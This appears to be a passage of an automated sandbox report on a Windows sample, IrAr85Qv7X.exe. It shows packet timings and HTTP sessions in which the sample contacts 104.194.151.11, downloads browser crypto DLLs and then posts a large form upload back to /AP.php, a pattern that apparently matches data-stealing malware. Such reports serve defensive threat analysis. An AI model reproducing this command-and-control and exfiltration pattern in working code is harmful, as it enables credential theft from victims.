Aug 24, 2024 12:22:00.486205101 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.486346960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.486354113 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.486356020 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.486366034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.486375093 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.486418009 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.486427069 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.486435890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.486439943 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.486463070 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.486469030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.486483097 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.486485004 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.486514091 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.491164923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491219997 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.491228104 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491276026 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.491390944 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491400003 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491444111 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491456032 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.491492033 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491493940 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.491517067 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491535902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491539001 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.491556883 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491563082 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.491590023 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.491611958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491624117 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.491677046 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.491693974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.491753101 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:00.496133089 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.496191978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.496624947 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.496803045 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.496855974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.496923923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.496967077 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497009039 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497019053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497092962 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497107029 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497114897 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497251034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497261047 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497267962 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497278929 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497355938 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497364998 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497462034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497469902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497504950 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497571945 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497580051 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497673035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497683048 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497689962 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.497697115 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.500942945 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.912019014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:22:00.912087917 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:22:01.585855007 CEST	49730	80	192.168.2.4	104.194.151.11

HTTP Request Dependency Graph

104.194.151.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.194.151.11	80	4944	C:\Users\user\Desktop\IrAr85Qv7X.exe

Timestamp	Bytes transferred	Direction	Data
Aug 24, 2024 12:21:54.478471041 CEST	95	OUT	GET /AP.php HTTP/1.1 Host: 104.194.151.11 Connection: Keep-Alive Cache-Control: no-cache
Aug 24, 2024 12:21:55.610944033 CEST	384	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 10:21:55 GMT Server: Apache/2.4.58 (Ubuntu) Set-Cookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 12 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 58 77 78 66 44 46 38 4d 58 78 38 Data Ascii: MXwxfDF8MXx8
Aug 24, 2024 12:21:55.617535114 CEST	122	OUT	GET /sqlite3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Aug 24, 2024 12:21:55.922086000 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 10:21:55 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "9d9d8-6200e4e88720f" Accept-Ranges: bytes Content-Length: 645592 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89
Aug 24, 2024 12:21:55.922103882 CEST	1236	IN	Data Raw: 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 Data Ascii: R@0B/102X@B/113Z@B/124t@B
Aug 24, 2024 12:21:55.922115088 CEST	1236	IN	Data Raw: bf 04 00 99 f7 ff 8b 55 cc 8d 7c 02 02 2b 7d d8 69 c3 ad 8e 00 00 05 fc 5a 44 0a bb 64 00 00 00 99 f7 fb 01 c7 8d 46 01 69 c0 51 ab 04 00 66 bb 10 27 99 f7 fb 01 c7 d9 05 88 9b 97 60 57 da 2c 24 83 c4 04 d8 0d 8c 9b 97 60 d9 7d ee 66 8b 45 ee 80 Data Ascii: U\|+}iZDdFiQf'`W,$`}fEfEm}m]uqAy)tZiQ`iA6`I m}mEUQy+t!iY`)QA(A)A+,[^_UWVS,x(xu
Aug 24, 2024 12:21:55.922173977 CEST	672	IN	Data Raw: 31 c0 85 d2 74 03 8b 42 f8 c9 c3 55 89 e5 8b 45 08 83 c0 07 83 e0 f8 c9 c3 55 89 e5 31 c0 c9 c3 55 89 e5 c9 c3 55 89 e5 83 ec 18 89 c2 31 c0 83 3d 0c e0 96 60 00 74 09 89 14 24 ff 15 54 e0 96 60 c9 c3 55 89 e5 83 ec 08 8b 45 08 85 c0 74 08 a1 58 Data Ascii: 1tBUEU1UU1=`t$T`UEtX`UEt\`UEt``1UEtd`USs$E$1[U1U1UUU
Aug 24, 2024 12:21:55.922183990 CEST	1236	IN	Data Raw: 15 2c e0 96 60 89 c6 85 c0 74 22 89 04 24 e8 60 ff ff ff 89 c3 89 c2 31 c0 e8 d8 f7 ff ff ba 01 00 00 00 b8 09 00 00 00 e8 c9 f7 ff ff 8b 45 e4 89 30 89 d8 83 c4 2c 5b 5e 5f c9 c3 55 89 e5 53 83 ec 24 8b 5d 08 8d 43 ff 3d fe fe ff 7f 76 09 c7 45 Data Ascii: ,`t"$`1E0,[^_US$]C=vE;=`t&`$KU`$d$,`EE$[US$`$8`t<9`\|44`U4`H8`&
Aug 24, 2024 12:21:55.922194004 CEST	1236	IN	Data Raw: 3b 93 f8 00 00 00 7e 1c 89 93 f8 00 00 00 eb 14 89 14 24 e8 50 fb ff ff 85 c0 75 08 85 db 74 04 c6 43 40 01 83 c4 14 5b c9 c3 55 89 e5 53 83 ec 14 89 c3 8b 50 08 3b 50 04 74 17 80 78 18 01 75 09 8b 00 e8 bb fd ff ff eb 08 89 14 24 e8 1b fd ff ff Data Ascii: ;~$PutC@[USP;Ptxu$C[UVSA=vM8N`?Ctvtu[^USx1@v@tB
Aug 24, 2024 12:21:55.922205925 CEST	1236	IN	Data Raw: 00 00 00 8a 03 3c 2d 75 07 01 cb 83 ca ff eb 0b ba 01 00 00 00 3c 2b 75 02 01 cb 31 ff 31 f6 eb 21 81 fe 0f 27 00 00 7f 0d 6b f6 0a 0f be 45 c4 8d 74 06 d0 eb 05 be 10 27 00 00 01 cb bf 01 00 00 00 3b 5d c8 73 1f 8a 03 88 45 c4 0f b6 c0 f6 80 a0 Data Ascii: <-u<+u11!'kEt';]sEB`u1t7}t1;]s#B`uE11EuyEUUu}M\|u}t#}]]u
Aug 24, 2024 12:21:55.922218084 CEST	1236	IN	Data Raw: d4 eb 37 46 83 fe 0b 74 56 6b 45 dc 0a 89 45 e0 b8 0a 00 00 00 f7 65 d8 89 45 e8 8b 4d e0 01 ca 89 55 ec 89 7d d8 89 f8 c1 f8 1f 89 45 dc 8b 55 e8 8b 4d ec 01 55 d8 11 4d dc 8b 4d d4 0f be 3c 31 83 ef 30 78 23 83 ff 09 7e b8 eb 1c 85 db 74 02 f7 Data Ascii: 7FtVkEEeEMU}EUMUMM<10x#~tu1$[^_EU]}+u}u}\|wUEtUEUWVSt/PIu
Aug 24, 2024 12:21:55.922230005 CEST	1236	IN	Data Raw: 7d ec 89 07 89 57 04 31 c0 eb 05 b8 01 00 00 00 83 c4 1c 5b 5e 5f c9 c3 55 89 e5 85 c0 79 10 3d 00 00 00 80 74 04 f7 d8 eb 05 b8 ff ff ff 7f c9 c3 55 89 e5 56 53 66 39 d0 0f bf c8 0f bf da 7c 19 8d 53 31 39 d1 7f 31 8d 53 1f 39 d1 7f 1b 29 d9 0f Data Ascii: }W1[^_Uy=tUVSf9\|S191S9)`q19Q9~@)`[^Uwv(.w1vQ(w2v+(w=wwwfN`U
Aug 24, 2024 12:21:55.922919989 CEST	1236	IN	Data Raw: ec 10 89 c3 85 c0 74 1f 83 78 08 00 74 11 31 f6 8b 44 b3 0c e8 e1 ff ff ff 46 83 fe 7d 75 f1 89 1c 24 e8 f6 e9 ff ff 83 c4 10 5b 5e c9 c3 55 89 e5 53 8b 50 1c 39 42 08 75 15 8b 48 24 eb 03 8b 49 24 85 c9 74 06 f6 41 18 04 75 f3 89 4a 08 8b 48 20 Data Ascii: txt1DF}u$[^USP9BuH$I$tAuJH X$tY$ZX$tK uztB@ @$[UPH tA$ztBzuBzu@uBUPzt'xuB,D$D$
Aug 24, 2024 12:21:55.922975063 CEST	1236	IN	Data Raw: 07 8b 5e 18 85 db 75 dc 5b 5e c9 c3 55 89 e5 57 56 53 83 ec 1c 89 c3 89 55 e4 31 d2 eb 48 8d 3c 95 00 00 00 00 03 7b 2c eb 35 8b 45 e4 39 46 08 72 2a ff 4b 24 8b 46 10 89 07 80 7e 0c 00 75 0d 89 f0 89 55 e0 e8 20 ff ff ff 8b 55 e0 89 f0 89 55 e0 Data Ascii: ^u[^UWVSU1H<{,5E9Fr*K$F~uU UUU~7uB;S(r[^_UWVS,uE~tR$E+E{+~{+S<:{F1FE,[^_,[^_UVSExt0
Aug 24, 2024 12:21:57.314114094 CEST	122	OUT	GET /freebl3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Aug 24, 2024 12:21:57.505970001 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 10:21:57 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "519d0-6200e4e818494" Accept-Ranges: bytes Content-Length: 334288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$/AVAVAVVAV]@WAV1VAV]BWAV]DWAV]EWAV@WAVO@WAV@VAVOBWAVOEWAVOAWAVOVAVOCWAVRichAVPELb["!f)ps@pP@xP0T@8.textt `.rdata@@.data,H@.rsrcx@@@.relocP@B
Aug 24, 2024 12:21:57.792231083 CEST	122	OUT	GET /mozglue.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Aug 24, 2024 12:21:57.961971045 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 10:21:57 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "217d0-6200e4e840d08" Accept-Ranges: bytes Content-Length: 137168 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$U;;;;W;8;?;:;>;:;:w;?;>;;;;9;Rich;PEL_["!z@3@A@t, x0hTTh@l.textxz `.rdata^ef~@@.data@.didat8@.rsrcx @@.reloch0@B
Aug 24, 2024 12:21:58.070246935 CEST	123	OUT	GET /msvcp140.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Aug 24, 2024 12:21:58.239958048 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 10:21:58 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "6b738-6200e4e857852" Accept-Ranges: bytes Content-Length: 440120 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$AV5=A;";;;;;;-;RichPEL8'Y"!P az@ACR,x8?4:f8(@P@@.textr `.data( @.idata6P @@.didat4p6@.rsrc8@@.reloc4:<<@B
Aug 24, 2024 12:21:58.555749893 CEST	119	OUT	GET /nss3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Aug 24, 2024 12:21:58.745189905 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 10:21:58 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "1303d0-6200e4e85fd23" Accept-Ranges: bytes Content-Length: 1246160 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$#4gZgZgZnsZ[eZBcZYjZ_mZ^lZE[oZ[dZg[Z^mZZfZfZXfZRichgZPELb["!w@@=Tp}pT@.text `.rdataRT@@.datatG`"B@.rsrcpd@@.reloc}~h@B
Aug 24, 2024 12:21:59.803848028 CEST	123	OUT	GET /softokn3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Aug 24, 2024 12:21:59.973650932 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 10:21:59 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "235d0-6200e4e86cc2d" Accept-Ranges: bytes Content-Length: 144848 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$l$JOJOJOuOJO?oKNJO?oINJO?oONJO?oNNJOmKNJO-nKNJOKO~JO-nNNJO-nJNJO-nOJO-nHNJORichJOPELb["!bP@0x@`T(@l.text `.rdataDF@@.data @.rsrcx0@@.reloc`@@B
Aug 24, 2024 12:22:00.082618952 CEST	127	OUT	GET /vcruntime140.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
Aug 24, 2024 12:22:00.253268003 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 10:22:00 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "14748-6200e4e8856b7" Accept-Ranges: bytes Content-Length: 83784 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$NEEE"GL^NElUVA_D2DDRichEPEL8'Y"! @@A H?08@.text `.dataD@.idata@@.rsrc @@.reloc0@B
Aug 24, 2024 12:22:00.481219053 CEST	231	OUT	POST /AP.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----XT2DB16FUSJM7QI5 Host: 104.194.151.11 Content-Length: 84947 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=karl7rrva1q372h3ph2tq12ok3
